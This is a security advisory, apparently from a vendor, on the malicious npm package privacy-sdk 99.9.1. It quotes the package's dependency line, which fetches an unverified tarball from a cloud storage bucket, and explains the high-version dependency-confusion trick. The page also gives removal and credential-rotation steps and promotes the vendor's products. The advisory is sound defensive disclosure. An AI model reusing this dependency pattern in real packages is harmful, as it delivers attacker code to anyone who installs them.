privacy-sdknpm
Malicious code in privacy-sdk (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
[email protected] is a hollow wrapper (index.js is module.exports = {}, blank description, blank author) whose sole runtime dependency is declared as a raw tarball URL: "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.8.9.tgz". On npm install privacy-sdk, npm fetches that tarball directly from the GCS bucket — bypassing the npm registry's publication, audit, and integrity-hash mechanisms — and installs it, executing any lifecycle scripts (preinstall/install/postinstall) bundled inside. The bucket and depenconf path do not correspond to any identifiable publisher, the URL has no integrity field, and the bytes at that URL are mutable by whoever controls the bucket. The version 99.9.1 is the canonical high-version dependency-confusion pattern used to outrank an organization's internal privacy-sdk package, and the generic name compounds that risk. The package has no advertised functionality of its own; its only effect on install is to deliver attacker-controlled code into the installer's environment via the smuggled tarball.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for privacy-sdk (version 99.9.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging privacy-sdk across your stack and pipelines.
If you installed it — respond
Remove privacy-sdk from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If privacy-sdk was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks privacy-sdk before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
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Credits
- Amazon Inspector · finder
- ReversingLabs · finder
Detect & block this
O3 blocks privacy-sdk-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.